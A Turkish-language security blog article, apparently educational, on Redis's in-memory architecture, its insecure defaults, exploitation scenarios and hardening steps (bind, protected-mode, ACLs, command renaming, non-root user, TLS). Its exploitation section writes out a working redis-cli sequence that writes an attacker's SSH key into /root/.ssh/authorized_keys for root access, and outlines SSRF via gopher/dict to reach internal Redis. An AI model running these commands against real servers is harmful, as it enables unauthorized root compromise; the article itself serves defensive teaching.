Teknik RehberNetwork & Infrastructure

Redis Güvenliği ve Mimarisi: Hızın Bedeli ve Sıkılaştırma Rehberi

In-memory mimarinin varsayılan tehlikeleri, RCE/SSRF sömürü senaryoları ve hardening

Enes Buğra Damar
Enes Buğra DamarBilgisayar Mühendisliği Öğrencisi & Siber Güvenlik Araştırmacısı
25 Haziran 2026
5 dakika okuma
Özet

Redis, in-memory yapısıyla olağanüstü hız sunan bir veri yapısı sunucusudur. Ancak güvenlikten çok performansa odaklanan varsayılan yapısı, yanlış yapılandırıldığında sistemleri saniyeler içinde tehlikeye atabilir. Bu rehberde Redis'in temel mimarisini, yaygın sömürü senaryolarını (SSH key ile RCE, SSRF ile iç ağdan erişim) ve sunucunuzu bind, ACL, komut yeniden adlandırma ve TLS ile nasıl sıkılaştıracağınızı inceliyoruz.

Giriş

Shodan’da basit bir arama yaptığınızda, internete tamamen açık ve hiçbir parola koruması olmayan on binlerce Redis sunucusuyla karşılaşabileceğinizi biliyor muydun?

Biz bilgisayar mühendisliği öğrencileri veya yazılım geliştiriciler olarak, okul projelerinde veya çalıştığımız modern sistemlerde Redis’i genellikle müthiş hızlı bir önbellek çözümü diyerek sistemimize hemen entegre ederiz. Proje ayağa kalkıp performans arttığında mutlu oluruz; ancak o hız ve kolaylık uğruna neleri feda ettiğimizi genellikle unuturuz. Redis, güvenliğin tamamen ağ katmanına bırakıldığı felsefesiyle tasarlanmıştır. Bu durum, basit bir yanlış yapılandırmanın koca bir sunucuyu saldırganlara teslim etmesiyle sonuçlanabilir. Peki, performansı zirvede tutarken arka kapıları nasıl kilitleriz? Gelin bu hızlı veritabanının derinliklerine birlikte inelim.

Redis Nedir ve Neden Bu Kadar Hızlı?

Redis (Remote Dictionary Server), verileri diske yazmak yerine doğrudan RAM üzerinde tutan açık kaynaklı, in-memory bir veri yapısı sunucusudur. Genellikle basit bir anahtar-değer (key-value) deposu olarak bilinse de; String, Hash, List, Set, Bitmap ve HyperLogLog gibi karmaşık veri tiplerini destekler.

Peki Redis neden geleneksel ilişkisel veritabanlarına (RDBMS) göre bu kadar hızlıdır?

  1. In-Memory Çalışma Yapısı: Geleneksel veritabanları veriyi okumak veya yazmak için disk I/O işlemlerine bağımlıdır. Redis ise doğrudan belleğe yazar ve okur. Bu da mikrosaniye seviyesinde yanıt süreleri demektir.
  2. Tek İş Parçacıklı (Single-Threaded) Mimari: Redis, komutları çalıştırmak için tek bir thread kullanır. İlk duyduğunuzda “Nasıl yani, multi-thread olmadan nasıl hızlı oluyor?” diyebilirsiniz. Ancak bu yapı, CPU’daki Context Switching (bağlam değiştirme) maliyetini ve Thread’ler arası kilitlenme (lock/Race Condition) sorunlarını tamamen ortadan kaldırır. Algoritmaların çoğu O(1) karmaşıklığında çalıştığı için sistem bir saat gibi tıkır tıkır işler.

Ancak bu performansın bir bedeli var. Redis, izole ve güvenilir ağlarda çalışacağı varsayılarak geliştirilmiştir. Yani güvenlik, Redis’in kendisinden çok sizin ağ mimarinize bırakılmıştır.

Hızın Bedeli ve Varsayılan Tehlikeler

Redis’i apt-get install redis veya basit bir Docker run komutuyla kurduğunuzda, güvenlik açısından oldukça yalın bir sistem ayağa kalkar. İşte en yaygın üç ölümcül varsayılan hata:

  • Kimlik Doğrulama Yok (No Authentication): Varsayılan ayarlarda Redis herhangi bir kullanıcı adı veya parola sormaz. İçeri giren herkes admin yetkisindedir.
  • İnternete Açık Olma İhtimali: Eğer redis.conf dosyasında bind 127.0.0.1 ayarı atlanırsa veya protected-mode kapatılırsa, Redis 6379 portu üzerinden tüm dünyaya açık hale gelir.
  • Root Yetkisiyle Çalıştırma: Birçok sistem yöneticisi veya yeni başlayan geliştirici, izin hatalarıyla uğraşmamak için Redis servisini root kullanıcısı ile başlatır. Bu durum, sömürüldüğünde tüm işletim sisteminin kaybedilmesi anlamına gelir.

Sömürü Senaryoları

Siber güvenlik sadece savunmayı değil, saldırganın nasıl düşündüğünü bilmeyi de gerektirir. Açık bırakılmış bir Redis sunucusuna nasıl sızılır? İki popüler yönteme bakalım.

Senaryo A: SSH Public Key Yazarak Uzaktan Komut Çalıştırma (RCE)

Hedef sunucunun internete açık (0.0.0.0:6379) ve parolasız bir Redis çalıştırdığını düşünelim. Aynı zamanda bu Redis servisi root haklarıyla çalışıyor olsun.

Saldırgan önce kendi makinesinde bir SSH anahtarı üretir:

ssh-keygen -t rsa -C "saldırgan@hack"

Sonra, Redis’in çalışma zamanı yapılandırmalarını değiştirmeye yarayan CONFIG SET komutunu kullanarak, veritabanının diske yazılacağı dizini ve dosya adını manipüle eder. Hedef sunucuya Redis CLI ile bağlanır ve şu komutları çalıştırır:

# Redis'e bağlan
redis-cli -h HEDEF_IP

# Yedekleme dizinini root kullanıcısının ssh klasörüne ayarla
CONFIG SET dir /root/.ssh/

# Yedeklenecek dosyanın adını authorized_keys yap
CONFIG SET dbfilename "authorized_keys"

# Kendi SSH public key'ini belleğe bir anahtar (key) olarak kaydet
SET saldirgan_key "\n\nssh-rsa AAAAB3NzaC1... saldirgan@hack\n\n"

# Bellekteki veriyi diske (yani authorized_keys dosyasına) yaz
SAVE

Tebrikler! Redis, verileri diske kaydederken saldırganın açık anahtarını /root/.ssh/authorized_keys dosyasının içine yazdı. Saldırgan artık ssh root@HEDEF_IP komutuyla sunucuya parolasız ve en üst yetkiyle giriş yapabilir.

Senaryo B: SSRF (Sunucu Taraflı İstek Sahteciliği) ile İç Ağdan Vurmak

Eğer Redis sunucusu dışarıya kapalıysa güvende miyiz? Hayır. Hedef web uygulamasında bir SSRF (Server-Side Request Forgery) zafiyeti varsa, saldırgan dışarıdan doğrudan Redis’e erişemese bile, web sunucusunu kendi adına konuşturarak içerideki (127.0.0.1:6379) Redis’e komut gönderebilir. Gopher veya Dict protokolleri kullanılarak SSRF üzerinden Redis’e özel payload’lar iletilebilir ve içeriden RCE elde edilebilir.

Redis’i Sıkılaştırma (Hardening) Rehberi

Saldırıların ne kadar kolay olabileceğini gördük. Peki, üretim ortamındaki bir Redis sunucusunu nasıl bir kaleye dönüştürürüz? İşte uygulamamız gereken savunma adımları:

1. Ağ İzolasyonu (Bind ve Protected Mode)

Redis asla dış dünyaya açık olmamalıdır. redis.conf dosyasına giderek sunucunun sadece yerel makineden veya uygulamanızın bulunduğu özel IP bloğundan istek kabul etmesini sağlayın:

bind 127.0.0.1 192.168.1.100

Ayrıca, yapılandırma dosyasındaki protected-mode yes ayarının kesinlikle aktif olduğundan emin olun.

2. Kimlik Doğrulama ve Erişim Kontrol Listeleri (ACL)

Sadece requirepass <GüçlüParola> kullanmak eskide kaldı. Redis 6.0 ve üzeri sürümlerde gelen ACL (Access Control List) özelliğini kullanın. Her uygulama için farklı bir kullanıcı oluşturun ve sadece ihtiyaç duyduğu komutlara izin verin (Least Privilege Principle).

# Sadece okuma/yazma yapabilen, tehlikeli komutları çalıştıramayan bir kullanıcı:
ACL SETUSER uygulama_kullanicisi on >CokGucluParola123! ~* +@read +@write -@admin -@dangerous

3. Tehlikeli Komutları Yeniden Adlandırma

Saldırganların sıkça kullandığı CONFIG, FLUSHALL, DEBUG gibi tehlikeli komutları redis.conf üzerinden gizleyin veya tamamen devre dışı bırakın:

# Komutu karmaşık bir string'e çevirir (Gizler)
rename-command CONFIG "BilinmeyenGuvenliKomutAdim321"

# Komutu tamamen devre dışı bırakır
rename-command FLUSHALL ""

4. Düşük Yetkili Kullanıcı (Least Privilege) ve TLS

Redis servisini asla root ile başlatmayın. Sisteme özel, shell erişimi olmayan (/bin/false) düşük yetkili bir redis kullanıcısı oluşturun. Ayrıca eğer Redis, sunucular arasında ağ üzerinden veri iletiyorsa mutlaka TLS şifrelemesi (--tls-port) kullanın. Aksi halde tüm veriler ağ dinleyicileri (sniffer) tarafından clear-text olarak okunabilir.

Sonuç

Bilgisayar mühendisliğinde kodun çalışması sadece başlangıçtır; sistemin güvenli ve sürdürülebilir bir şekilde çalışmasını sağlamak asıl mühendisliktir. Redis özelindeki temel çıkarımlarımız şunlardır:

  • Redis performans odaklı bir mimariyle geliştirilmiştir; güvenlik varsayılan olarak sizin sorumluluğunuzdadır.
  • Dışarıya açık bırakılan ve root yetkisiyle çalışan bir Redis, sistemde tam yetkili uzaktan kod yürütülmesine (RCE) açık bir arka kapıdır.
  • Güvenliği sağlamak için Derinlemesine Savunma (Defense in Depth) prensibini uygulamalısınız: Ağı izole edin, yetkileri ACL ile kısıtlayın ve tehlikeli komutları kapatın.
  • Mimari kararlar alırken “Önce hız, sonra güvenlik” değil, “Güvenli Hız” felsefesini benimseyin.

Kaynakça

  1. Redis Resmi Dokümantasyonu (Security): redis.io/docs/management/security/
  2. OWASP SSRF Prevention Cheat Sheet
  3. Cve.mitre.org
  4. book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
Enes Buğra Damar
Bilgisayar Mühendisliği Öğrencisi & Siber Güvenlik Araştırmacısı
Eskişehir Osmangazi Üniversitesi Bilgisayar Mühendisliği 4. sınıf öğrencisi ve İHA takım kaptanıyım. Teknolojiyi sadece tüketen değil, aynı zamanda üreten biri olarak yapay zeka, siber güvenlik ve robotik alanlarında projeler geliştiriyorum. Bilgisayar mühendisliğini salt kod yazmak olarak görmüyor; yazılarımda sistemlerin ardındaki mühendislik süreçlerini ve çözüm yöntemlerimi anlatıyorum.

Sen de yaz, arşivde yerini al

AltaySec Arşiv'e katkı ver — uzmanlığını Türkçe siber güvenlik literatürüne kat.

Yazar Ol